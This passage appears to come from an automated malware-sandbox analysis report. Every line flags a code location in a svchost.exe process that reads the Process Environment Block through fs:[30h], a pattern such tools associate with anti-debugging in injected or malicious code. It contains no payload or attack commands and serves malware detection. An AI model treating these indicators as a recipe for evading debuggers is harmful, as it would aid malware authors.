            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB0283 mov eax, dword ptr fs:[00000030h]7_2_03BB0283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C05283 mov eax, dword ptr fs:[00000030h]7_2_03C05283
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEF2F8 mov eax, dword ptr fs:[00000030h]7_2_03BEF2F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B292FF mov eax, dword ptr fs:[00000030h]7_2_03B292FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE12ED mov eax, dword ptr fs:[00000030h]7_2_03BE12ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B402E1 mov eax, dword ptr fs:[00000030h]7_2_03B402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B402E1 mov eax, dword ptr fs:[00000030h]7_2_03B402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B402E1 mov eax, dword ptr fs:[00000030h]7_2_03B402E1
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B2D3 mov eax, dword ptr fs:[00000030h]7_2_03B2B2D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B2D3 mov eax, dword ptr fs:[00000030h]7_2_03B2B2D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B2D3 mov eax, dword ptr fs:[00000030h]7_2_03B2B2D3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5F2D0 mov eax, dword ptr fs:[00000030h]7_2_03B5F2D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5F2D0 mov eax, dword ptr fs:[00000030h]7_2_03B5F2D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]7_2_03B3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]7_2_03B3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]7_2_03B3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]7_2_03B3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3A2C3 mov eax, dword ptr fs:[00000030h]7_2_03B3A2C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C0 mov eax, dword ptr fs:[00000030h]7_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C0 mov eax, dword ptr fs:[00000030h]7_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C0 mov eax, dword ptr fs:[00000030h]7_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C0 mov eax, dword ptr fs:[00000030h]7_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C0 mov eax, dword ptr fs:[00000030h]7_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C0 mov eax, dword ptr fs:[00000030h]7_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5B2C0 mov eax, dword ptr fs:[00000030h]7_2_03B5B2C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B392C5 mov eax, dword ptr fs:[00000030h]7_2_03B392C5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B392C5 mov eax, dword ptr fs:[00000030h]7_2_03B392C5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2823B mov eax, dword ptr fs:[00000030h]7_2_03B2823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B67208 mov eax, dword ptr fs:[00000030h]7_2_03B67208
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B67208 mov eax, dword ptr fs:[00000030h]7_2_03B67208
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B59274 mov eax, dword ptr fs:[00000030h]7_2_03B59274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B71270 mov eax, dword ptr fs:[00000030h]7_2_03B71270
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B71270 mov eax, dword ptr fs:[00000030h]7_2_03B71270
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE0274 mov eax, dword ptr fs:[00000030h]7_2_03BE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B34260 mov eax, dword ptr fs:[00000030h]7_2_03B34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B34260 mov eax, dword ptr fs:[00000030h]7_2_03B34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B34260 mov eax, dword ptr fs:[00000030h]7_2_03B34260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFD26B mov eax, dword ptr fs:[00000030h]7_2_03BFD26B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BFD26B mov eax, dword ptr fs:[00000030h]7_2_03BFD26B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2826B mov eax, dword ptr fs:[00000030h]7_2_03B2826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2A250 mov eax, dword ptr fs:[00000030h]7_2_03B2A250
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C05227 mov eax, dword ptr fs:[00000030h]7_2_03C05227
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEB256 mov eax, dword ptr fs:[00000030h]7_2_03BEB256
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEB256 mov eax, dword ptr fs:[00000030h]7_2_03BEB256
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B36259 mov eax, dword ptr fs:[00000030h]7_2_03B36259
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29240 mov eax, dword ptr fs:[00000030h]7_2_03B29240
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29240 mov eax, dword ptr fs:[00000030h]7_2_03B29240
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6724D mov eax, dword ptr fs:[00000030h]7_2_03B6724D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4B1B0 mov eax, dword ptr fs:[00000030h]7_2_03B4B1B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C051CB mov eax, dword ptr fs:[00000030h]7_2_03C051CB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE11A4 mov eax, dword ptr fs:[00000030h]7_2_03BE11A4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE11A4 mov eax, dword ptr fs:[00000030h]7_2_03BE11A4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE11A4 mov eax, dword ptr fs:[00000030h]7_2_03BE11A4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BE11A4 mov eax, dword ptr fs:[00000030h]7_2_03BE11A4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB019F mov eax, dword ptr fs:[00000030h]7_2_03BB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB019F mov eax, dword ptr fs:[00000030h]7_2_03BB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB019F mov eax, dword ptr fs:[00000030h]7_2_03BB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB019F mov eax, dword ptr fs:[00000030h]7_2_03BB019F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2A197 mov eax, dword ptr fs:[00000030h]7_2_03B2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2A197 mov eax, dword ptr fs:[00000030h]7_2_03B2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2A197 mov eax, dword ptr fs:[00000030h]7_2_03B2A197
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C061E5 mov eax, dword ptr fs:[00000030h]7_2_03C061E5
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B87190 mov eax, dword ptr fs:[00000030h]7_2_03B87190
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B70185 mov eax, dword ptr fs:[00000030h]7_2_03B70185
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEC188 mov eax, dword ptr fs:[00000030h]7_2_03BEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BEC188 mov eax, dword ptr fs:[00000030h]7_2_03BEC188
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BD71F9 mov esi, dword ptr fs:[00000030h]7_2_03BD71F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B601F8 mov eax, dword ptr fs:[00000030h]7_2_03B601F8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B551EF mov eax, dword ptr fs:[00000030h]7_2_03B551EF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B351ED mov eax, dword ptr fs:[00000030h]7_2_03B351ED
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6D1D0 mov eax, dword ptr fs:[00000030h]7_2_03B6D1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6D1D0 mov ecx, dword ptr fs:[00000030h]7_2_03B6D1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]7_2_03BAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]7_2_03BAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE1D0 mov ecx, dword ptr fs:[00000030h]7_2_03BAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]7_2_03BAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAE1D0 mov eax, dword ptr fs:[00000030h]7_2_03BAE1D0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF61C3 mov eax, dword ptr fs:[00000030h]7_2_03BF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF61C3 mov eax, dword ptr fs:[00000030h]7_2_03BF61C3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B31131 mov eax, dword ptr fs:[00000030h]7_2_03B31131
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B31131 mov eax, dword ptr fs:[00000030h]7_2_03B31131
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B136 mov eax, dword ptr fs:[00000030h]7_2_03B2B136
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B136 mov eax, dword ptr fs:[00000030h]7_2_03B2B136
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B136 mov eax, dword ptr fs:[00000030h]7_2_03B2B136
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2B136 mov eax, dword ptr fs:[00000030h]7_2_03B2B136
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C05152 mov eax, dword ptr fs:[00000030h]7_2_03C05152
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B60124 mov eax, dword ptr fs:[00000030h]7_2_03B60124
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BDA118 mov ecx, dword ptr fs:[00000030h]7_2_03BDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BDA118 mov eax, dword ptr fs:[00000030h]7_2_03BDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BDA118 mov eax, dword ptr fs:[00000030h]7_2_03BDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BDA118 mov eax, dword ptr fs:[00000030h]7_2_03BDA118
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF0115 mov eax, dword ptr fs:[00000030h]7_2_03BF0115
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2F172 mov eax, dword ptr fs:[00000030h]7_2_03B2F172
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC9179 mov eax, dword ptr fs:[00000030h]7_2_03BC9179
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B37152 mov eax, dword ptr fs:[00000030h]7_2_03B37152
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2C156 mov eax, dword ptr fs:[00000030h]7_2_03B2C156
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC8158 mov eax, dword ptr fs:[00000030h]7_2_03BC8158
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B36154 mov eax, dword ptr fs:[00000030h]7_2_03B36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B36154 mov eax, dword ptr fs:[00000030h]7_2_03B36154
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC4144 mov eax, dword ptr fs:[00000030h]7_2_03BC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC4144 mov eax, dword ptr fs:[00000030h]7_2_03BC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC4144 mov ecx, dword ptr fs:[00000030h]7_2_03BC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC4144 mov eax, dword ptr fs:[00000030h]7_2_03BC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BC4144 mov eax, dword ptr fs:[00000030h]7_2_03BC4144
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29148 mov eax, dword ptr fs:[00000030h]7_2_03B29148
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29148 mov eax, dword ptr fs:[00000030h]7_2_03B29148
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29148 mov eax, dword ptr fs:[00000030h]7_2_03B29148
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B29148 mov eax, dword ptr fs:[00000030h]7_2_03B29148
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF60B8 mov eax, dword ptr fs:[00000030h]7_2_03BF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF60B8 mov ecx, dword ptr fs:[00000030h]7_2_03BF60B8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C050D9 mov eax, dword ptr fs:[00000030h]7_2_03C050D9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B35096 mov eax, dword ptr fs:[00000030h]7_2_03B35096
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5D090 mov eax, dword ptr fs:[00000030h]7_2_03B5D090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B5D090 mov eax, dword ptr fs:[00000030h]7_2_03B5D090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B6909C mov eax, dword ptr fs:[00000030h]7_2_03B6909C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B3208A mov eax, dword ptr fs:[00000030h]7_2_03B3208A
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2D08D mov eax, dword ptr fs:[00000030h]7_2_03B2D08D
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2C0F0 mov eax, dword ptr fs:[00000030h]7_2_03B2C0F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B720F0 mov ecx, dword ptr fs:[00000030h]7_2_03B720F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B550E4 mov eax, dword ptr fs:[00000030h]7_2_03B550E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B550E4 mov ecx, dword ptr fs:[00000030h]7_2_03B550E4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2A0E3 mov ecx, dword ptr fs:[00000030h]7_2_03B2A0E3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B380E9 mov eax, dword ptr fs:[00000030h]7_2_03B380E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB20DE mov eax, dword ptr fs:[00000030h]7_2_03BB20DE
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B590DB mov eax, dword ptr fs:[00000030h]7_2_03B590DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov ecx, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov ecx, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov ecx, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov ecx, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B470C0 mov eax, dword ptr fs:[00000030h]7_2_03B470C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAD0C0 mov eax, dword ptr fs:[00000030h]7_2_03BAD0C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BAD0C0 mov eax, dword ptr fs:[00000030h]7_2_03BAD0C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF903E mov eax, dword ptr fs:[00000030h]7_2_03BF903E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF903E mov eax, dword ptr fs:[00000030h]7_2_03BF903E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF903E mov eax, dword ptr fs:[00000030h]7_2_03BF903E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BF903E mov eax, dword ptr fs:[00000030h]7_2_03BF903E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2A020 mov eax, dword ptr fs:[00000030h]7_2_03B2A020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B2C020 mov eax, dword ptr fs:[00000030h]7_2_03B2C020
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03C05060 mov eax, dword ptr fs:[00000030h]7_2_03C05060
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E016 mov eax, dword ptr fs:[00000030h]7_2_03B4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E016 mov eax, dword ptr fs:[00000030h]7_2_03B4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E016 mov eax, dword ptr fs:[00000030h]7_2_03B4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B4E016 mov eax, dword ptr fs:[00000030h]7_2_03B4E016
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03BB4000 mov ecx, dword ptr fs:[00000030h]7_2_03BB4000
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov ecx, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 7_2_03B41070 mov eax, dword ptr fs:[00000030h]7_2_03B41070
